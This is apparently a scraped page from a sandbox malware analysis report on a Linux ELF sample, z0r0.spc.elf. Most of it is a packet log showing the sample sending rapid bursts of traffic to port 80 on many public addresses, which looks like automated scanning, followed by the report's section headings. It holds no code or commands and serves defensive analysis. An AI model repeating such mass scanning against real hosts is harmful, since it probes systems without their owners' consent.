Feb 4, 2025 18:11:17.974694014 CET	48610	80	192.168.2.15	59.197.123.191
Feb 4, 2025 18:11:17.974694967 CET	56736	80	192.168.2.15	148.124.95.174
Feb 4, 2025 18:11:17.974694967 CET	41716	80	192.168.2.15	204.180.52.55
Feb 4, 2025 18:11:17.974697113 CET	40412	80	192.168.2.15	122.230.149.114
Feb 4, 2025 18:11:17.979527950 CET	80	53732	116.7.76.23	192.168.2.15
Feb 4, 2025 18:11:17.979537964 CET	80	37310	171.125.195.174	192.168.2.15
Feb 4, 2025 18:11:17.979547977 CET	80	38324	19.122.225.91	192.168.2.15
Feb 4, 2025 18:11:17.979583979 CET	53732	80	192.168.2.15	116.7.76.23
Feb 4, 2025 18:11:17.979590893 CET	38324	80	192.168.2.15	19.122.225.91
Feb 4, 2025 18:11:17.979656935 CET	53732	80	192.168.2.15	116.7.76.23
Feb 4, 2025 18:11:17.979670048 CET	38324	80	192.168.2.15	19.122.225.91
Feb 4, 2025 18:11:17.979790926 CET	37310	80	192.168.2.15	171.125.195.174
Feb 4, 2025 18:11:17.979815006 CET	37310	80	192.168.2.15	171.125.195.174
Feb 4, 2025 18:11:17.984669924 CET	80	53732	116.7.76.23	192.168.2.15
Feb 4, 2025 18:11:17.984721899 CET	53732	80	192.168.2.15	116.7.76.23
Feb 4, 2025 18:11:17.984813929 CET	80	38324	19.122.225.91	192.168.2.15
Feb 4, 2025 18:11:17.984855890 CET	38324	80	192.168.2.15	19.122.225.91
Feb 4, 2025 18:11:17.984941006 CET	80	37310	171.125.195.174	192.168.2.15
Feb 4, 2025 18:11:17.984993935 CET	37310	80	192.168.2.15	171.125.195.174
Feb 4, 2025 18:11:18.206197023 CET	80	56618	163.191.21.183	192.168.2.15
Feb 4, 2025 18:11:18.206262112 CET	56618	80	192.168.2.15	163.191.21.183
Feb 4, 2025 18:11:18.354662895 CET	33544	80	192.168.2.15	200.162.125.49
Feb 4, 2025 18:11:18.359519005 CET	80	33544	200.162.125.49	192.168.2.15
Feb 4, 2025 18:11:18.359694958 CET	33544	80	192.168.2.15	200.162.125.49
Feb 4, 2025 18:11:18.359694958 CET	33544	80	192.168.2.15	200.162.125.49
Feb 4, 2025 18:11:18.359743118 CET	10643	80	192.168.2.15	25.233.224.38
Feb 4, 2025 18:11:18.359776020 CET	10643	80	192.168.2.15	145.56.156.195
Feb 4, 2025 18:11:18.359781027 CET	10643	80	192.168.2.15	130.194.192.131
Feb 4, 2025 18:11:18.359782934 CET	10643	80	192.168.2.15	200.200.243.56
Feb 4, 2025 18:11:18.359786034 CET	10643	80	192.168.2.15	27.157.203.196
Feb 4, 2025 18:11:18.359782934 CET	10643	80	192.168.2.15	23.137.87.167
Feb 4, 2025 18:11:18.359786034 CET	10643	80	192.168.2.15	98.228.221.176
Feb 4, 2025 18:11:18.359787941 CET	10643	80	192.168.2.15	166.170.65.204
Feb 4, 2025 18:11:18.359791040 CET	10643	80	192.168.2.15	187.194.10.196
Feb 4, 2025 18:11:18.359791994 CET	10643	80	192.168.2.15	216.188.248.169
Feb 4, 2025 18:11:18.359791994 CET	10643	80	192.168.2.15	220.72.253.157
Feb 4, 2025 18:11:18.359791994 CET	10643	80	192.168.2.15	208.251.143.189
Feb 4, 2025 18:11:18.359797955 CET	10643	80	192.168.2.15	51.139.218.36
Feb 4, 2025 18:11:18.359797955 CET	10643	80	192.168.2.15	191.252.64.221
Feb 4, 2025 18:11:18.359808922 CET	10643	80	192.168.2.15	13.138.57.214
Feb 4, 2025 18:11:18.359818935 CET	10643	80	192.168.2.15	212.131.117.96
Feb 4, 2025 18:11:18.359819889 CET	10643	80	192.168.2.15	62.103.9.41
Feb 4, 2025 18:11:18.359819889 CET	10643	80	192.168.2.15	31.241.52.89
Feb 4, 2025 18:11:18.359819889 CET	10643	80	192.168.2.15	131.39.3.189
Feb 4, 2025 18:11:18.359822035 CET	10643	80	192.168.2.15	139.225.240.172
Feb 4, 2025 18:11:18.359822035 CET	10643	80	192.168.2.15	202.111.151.210
Feb 4, 2025 18:11:18.359822035 CET	10643	80	192.168.2.15	176.100.12.176
Feb 4, 2025 18:11:18.359828949 CET	10643	80	192.168.2.15	106.169.0.242
Feb 4, 2025 18:11:18.359833002 CET	10643	80	192.168.2.15	77.126.73.147
Feb 4, 2025 18:11:18.359833002 CET	10643	80	192.168.2.15	152.23.93.45
Feb 4, 2025 18:11:18.359836102 CET	10643	80	192.168.2.15	46.156.32.243
Feb 4, 2025 18:11:18.359837055 CET	10643	80	192.168.2.15	35.163.135.185
Feb 4, 2025 18:11:18.359837055 CET	10643	80	192.168.2.15	58.27.47.222
Feb 4, 2025 18:11:18.359857082 CET	10643	80	192.168.2.15	62.3.220.66
Feb 4, 2025 18:11:18.359859943 CET	10643	80	192.168.2.15	81.230.225.130
Feb 4, 2025 18:11:18.359859943 CET	10643	80	192.168.2.15	142.103.194.116
Feb 4, 2025 18:11:18.359859943 CET	10643	80	192.168.2.15	90.177.70.10
Feb 4, 2025 18:11:18.359863043 CET	10643	80	192.168.2.15	50.131.163.50
Feb 4, 2025 18:11:18.359863997 CET	10643	80	192.168.2.15	194.148.187.253
Feb 4, 2025 18:11:18.359863043 CET	10643	80	192.168.2.15	219.254.135.78
Feb 4, 2025 18:11:18.359863043 CET	10643	80	192.168.2.15	95.141.34.86
Feb 4, 2025 18:11:18.359865904 CET	10643	80	192.168.2.15	131.220.215.91
Feb 4, 2025 18:11:18.359863043 CET	10643	80	192.168.2.15	146.172.229.135
Feb 4, 2025 18:11:18.359865904 CET	10643	80	192.168.2.15	158.9.210.119
Feb 4, 2025 18:11:18.359863997 CET	10643	80	192.168.2.15	92.159.58.106
Feb 4, 2025 18:11:18.359865904 CET	10643	80	192.168.2.15	4.200.220.145
Feb 4, 2025 18:11:18.359889030 CET	10643	80	192.168.2.15	222.207.5.242
Feb 4, 2025 18:11:18.359891891 CET	10643	80	192.168.2.15	39.64.67.56
Feb 4, 2025 18:11:18.359896898 CET	10643	80	192.168.2.15	64.150.170.152
Feb 4, 2025 18:11:18.359899998 CET	10643	80	192.168.2.15	104.38.173.172
Feb 4, 2025 18:11:18.359901905 CET	10643	80	192.168.2.15	207.213.29.74
Feb 4, 2025 18:11:18.359906912 CET	10643	80	192.168.2.15	134.146.17.40
Feb 4, 2025 18:11:18.359909058 CET	10643	80	192.168.2.15	202.133.166.196
Feb 4, 2025 18:11:18.359909058 CET	10643	80	192.168.2.15	117.50.213.66
Feb 4, 2025 18:11:18.359909058 CET	10643	80	192.168.2.15	34.80.253.105
Feb 4, 2025 18:11:18.359909058 CET	10643	80	192.168.2.15	162.166.63.1
Feb 4, 2025 18:11:18.359914064 CET	10643	80	192.168.2.15	123.99.10.29
Feb 4, 2025 18:11:18.359919071 CET	10643	80	192.168.2.15	99.224.89.47
Feb 4, 2025 18:11:18.359922886 CET	10643	80	192.168.2.15	132.171.161.85
Feb 4, 2025 18:11:18.359927893 CET	10643	80	192.168.2.15	109.213.45.28
Feb 4, 2025 18:11:18.359939098 CET	10643	80	192.168.2.15	18.173.98.34
Feb 4, 2025 18:11:18.359939098 CET	10643	80	192.168.2.15	205.8.100.249
Feb 4, 2025 18:11:18.359939098 CET	10643	80	192.168.2.15	122.19.23.140
Feb 4, 2025 18:11:18.359947920 CET	10643	80	192.168.2.15	84.134.135.49
Feb 4, 2025 18:11:18.359947920 CET	10643	80	192.168.2.15	62.18.17.223
Feb 4, 2025 18:11:18.359947920 CET	10643	80	192.168.2.15	145.195.255.162
Feb 4, 2025 18:11:18.359966993 CET	10643	80	192.168.2.15	150.16.236.157
Feb 4, 2025 18:11:18.359967947 CET	10643	80	192.168.2.15	62.2.31.232
Feb 4, 2025 18:11:18.359967947 CET	10643	80	192.168.2.15	34.167.86.13
Feb 4, 2025 18:11:18.359985113 CET	10643	80	192.168.2.15	70.55.141.233
Feb 4, 2025 18:11:18.359985113 CET	10643	80	192.168.2.15	115.50.58.27
Feb 4, 2025 18:11:18.359985113 CET	10643	80	192.168.2.15	20.241.42.127
Feb 4, 2025 18:11:18.359987974 CET	10643	80	192.168.2.15	192.138.169.72
Feb 4, 2025 18:11:18.359991074 CET	10643	80	192.168.2.15	157.63.108.52
Feb 4, 2025 18:11:18.359991074 CET	10643	80	192.168.2.15	20.148.180.31
Feb 4, 2025 18:11:18.359996080 CET	10643	80	192.168.2.15	199.197.152.44
Feb 4, 2025 18:11:18.359997988 CET	10643	80	192.168.2.15	112.44.251.13
Feb 4, 2025 18:11:18.359997988 CET	10643	80	192.168.2.15	77.122.161.202
Feb 4, 2025 18:11:18.359999895 CET	10643	80	192.168.2.15	212.239.69.210
Feb 4, 2025 18:11:18.359999895 CET	10643	80	192.168.2.15	113.30.45.0
Feb 4, 2025 18:11:18.360007048 CET	10643	80	192.168.2.15	2.20.69.161
Feb 4, 2025 18:11:18.360009909 CET	10643	80	192.168.2.15	150.175.85.238
Feb 4, 2025 18:11:18.360021114 CET	10643	80	192.168.2.15	156.12.6.46
Feb 4, 2025 18:11:18.360022068 CET	10643	80	192.168.2.15	128.3.185.115
Feb 4, 2025 18:11:18.360022068 CET	10643	80	192.168.2.15	106.152.189.60
Feb 4, 2025 18:11:18.360024929 CET	10643	80	192.168.2.15	117.122.41.52
Feb 4, 2025 18:11:18.360039949 CET	10643	80	192.168.2.15	54.190.34.54
Feb 4, 2025 18:11:18.360040903 CET	10643	80	192.168.2.15	44.188.229.96
Feb 4, 2025 18:11:18.360040903 CET	10643	80	192.168.2.15	158.242.162.106
Feb 4, 2025 18:11:18.360043049 CET	10643	80	192.168.2.15	109.240.44.147
Feb 4, 2025 18:11:18.360043049 CET	10643	80	192.168.2.15	96.159.241.105
Feb 4, 2025 18:11:18.360050917 CET	10643	80	192.168.2.15	217.158.72.159
Feb 4, 2025 18:11:18.360050917 CET	10643	80	192.168.2.15	80.145.33.17
Feb 4, 2025 18:11:18.360053062 CET	10643	80	192.168.2.15	65.250.149.160
Feb 4, 2025 18:11:18.360063076 CET	10643	80	192.168.2.15	147.72.18.66
Feb 4, 2025 18:11:18.360066891 CET	10643	80	192.168.2.15	113.98.188.182
Feb 4, 2025 18:11:18.360078096 CET	10643	80	192.168.2.15	201.159.167.176
Feb 4, 2025 18:11:18.360088110 CET	10643	80	192.168.2.15	147.22.247.55
Feb 4, 2025 18:11:18.360091925 CET	10643	80	192.168.2.15	223.79.47.30
Feb 4, 2025 18:11:18.360091925 CET	10643	80	192.168.2.15	101.218.57.84
Feb 4, 2025 18:11:18.360091925 CET	10643	80	192.168.2.15	188.224.238.252
Feb 4, 2025 18:11:18.360094070 CET	10643	80	192.168.2.15	23.222.237.230
Feb 4, 2025 18:11:18.360095024 CET	10643	80	192.168.2.15	52.86.24.198
Feb 4, 2025 18:11:18.360111952 CET	10643	80	192.168.2.15	131.63.10.128
Feb 4, 2025 18:11:18.360112906 CET	10643	80	192.168.2.15	51.159.60.47
Feb 4, 2025 18:11:18.360114098 CET	10643	80	192.168.2.15	80.132.192.163
Feb 4, 2025 18:11:18.360117912 CET	10643	80	192.168.2.15	2.211.121.83
Feb 4, 2025 18:11:18.360119104 CET	10643	80	192.168.2.15	218.241.8.52
Feb 4, 2025 18:11:18.360126972 CET	10643	80	192.168.2.15	219.110.207.219
Feb 4, 2025 18:11:18.360129118 CET	10643	80	192.168.2.15	133.142.217.131
Feb 4, 2025 18:11:18.360143900 CET	10643	80	192.168.2.15	59.220.81.66
Feb 4, 2025 18:11:18.360145092 CET	10643	80	192.168.2.15	164.225.144.238
Feb 4, 2025 18:11:18.360145092 CET	10643	80	192.168.2.15	204.3.102.255
Feb 4, 2025 18:11:18.360145092 CET	10643	80	192.168.2.15	120.210.104.53
Feb 4, 2025 18:11:18.360155106 CET	10643	80	192.168.2.15	95.140.207.29
Feb 4, 2025 18:11:18.360156059 CET	10643	80	192.168.2.15	20.16.227.96
Feb 4, 2025 18:11:18.360155106 CET	10643	80	192.168.2.15	90.32.63.125
Feb 4, 2025 18:11:18.360157013 CET	10643	80	192.168.2.15	166.115.166.73
Feb 4, 2025 18:11:18.360157967 CET	10643	80	192.168.2.15	115.222.201.103
Feb 4, 2025 18:11:18.360163927 CET	10643	80	192.168.2.15	199.49.179.45
Feb 4, 2025 18:11:18.360174894 CET	10643	80	192.168.2.15	87.122.89.92
Feb 4, 2025 18:11:18.360174894 CET	10643	80	192.168.2.15	72.250.44.250
Feb 4, 2025 18:11:18.360192060 CET	10643	80	192.168.2.15	36.189.190.71
Feb 4, 2025 18:11:18.360192060 CET	10643	80	192.168.2.15	105.135.218.169
Feb 4, 2025 18:11:18.360192060 CET	10643	80	192.168.2.15	174.162.79.2
Feb 4, 2025 18:11:18.360210896 CET	10643	80	192.168.2.15	99.7.57.139
Feb 4, 2025 18:11:18.360212088 CET	10643	80	192.168.2.15	43.171.215.217
Feb 4, 2025 18:11:18.360213041 CET	10643	80	192.168.2.15	98.156.113.245
Feb 4, 2025 18:11:18.360212088 CET	10643	80	192.168.2.15	8.246.177.53
Feb 4, 2025 18:11:18.360213041 CET	10643	80	192.168.2.15	117.149.52.191
Feb 4, 2025 18:11:18.360212088 CET	10643	80	192.168.2.15	141.222.62.35
Feb 4, 2025 18:11:18.360213041 CET	10643	80	192.168.2.15	115.200.204.216
Feb 4, 2025 18:11:18.360213041 CET	10643	80	192.168.2.15	138.147.228.165
Feb 4, 2025 18:11:18.360224962 CET	10643	80	192.168.2.15	50.210.220.155
Feb 4, 2025 18:11:18.360229015 CET	10643	80	192.168.2.15	92.3.63.171
Feb 4, 2025 18:11:18.360230923 CET	10643	80	192.168.2.15	77.53.67.172
Feb 4, 2025 18:11:18.360234976 CET	10643	80	192.168.2.15	129.74.104.81
Feb 4, 2025 18:11:18.360234976 CET	10643	80	192.168.2.15	54.160.251.145
Feb 4, 2025 18:11:18.360239029 CET	10643	80	192.168.2.15	140.9.6.224
Feb 4, 2025 18:11:18.360239029 CET	10643	80	192.168.2.15	201.237.49.180
Feb 4, 2025 18:11:18.360239029 CET	10643	80	192.168.2.15	164.172.153.229
Feb 4, 2025 18:11:18.360246897 CET	10643	80	192.168.2.15	141.5.254.162
Feb 4, 2025 18:11:18.360253096 CET	10643	80	192.168.2.15	104.182.142.141
Feb 4, 2025 18:11:18.360253096 CET	10643	80	192.168.2.15	117.254.153.41
Feb 4, 2025 18:11:18.360253096 CET	10643	80	192.168.2.15	54.37.140.255
Feb 4, 2025 18:11:18.360259056 CET	10643	80	192.168.2.15	188.0.52.181
Feb 4, 2025 18:11:18.360259056 CET	10643	80	192.168.2.15	219.59.119.65
Feb 4, 2025 18:11:18.360260963 CET	10643	80	192.168.2.15	100.38.244.122
Feb 4, 2025 18:11:18.360275030 CET	10643	80	192.168.2.15	194.155.242.91
Feb 4, 2025 18:11:18.360275984 CET	10643	80	192.168.2.15	125.113.116.27
Feb 4, 2025 18:11:18.360279083 CET	10643	80	192.168.2.15	43.26.75.205
Feb 4, 2025 18:11:18.360281944 CET	10643	80	192.168.2.15	134.20.20.87
Feb 4, 2025 18:11:18.360281944 CET	10643	80	192.168.2.15	24.127.249.81
Feb 4, 2025 18:11:18.360285044 CET	10643	80	192.168.2.15	18.219.225.201
Feb 4, 2025 18:11:18.360289097 CET	10643	80	192.168.2.15	20.225.133.231
Feb 4, 2025 18:11:18.360292912 CET	10643	80	192.168.2.15	206.201.160.130
Feb 4, 2025 18:11:18.360292912 CET	10643	80	192.168.2.15	180.11.125.66
Feb 4, 2025 18:11:18.360295057 CET	10643	80	192.168.2.15	135.98.136.58
Feb 4, 2025 18:11:18.360295057 CET	10643	80	192.168.2.15	92.157.73.236
Feb 4, 2025 18:11:18.360299110 CET	10643	80	192.168.2.15	24.233.122.10
Feb 4, 2025 18:11:18.360299110 CET	10643	80	192.168.2.15	169.205.16.244
Feb 4, 2025 18:11:18.360316038 CET	10643	80	192.168.2.15	66.136.146.199
Feb 4, 2025 18:11:18.360317945 CET	10643	80	192.168.2.15	195.66.240.111
Feb 4, 2025 18:11:18.360317945 CET	10643	80	192.168.2.15	117.181.190.181
Feb 4, 2025 18:11:18.360320091 CET	10643	80	192.168.2.15	18.140.79.37
Feb 4, 2025 18:11:18.360320091 CET	10643	80	192.168.2.15	88.81.31.231
Feb 4, 2025 18:11:18.360321045 CET	10643	80	192.168.2.15	162.178.122.28
Feb 4, 2025 18:11:18.360337973 CET	10643	80	192.168.2.15	1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report z0r0.spc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
z0r0.spc.elf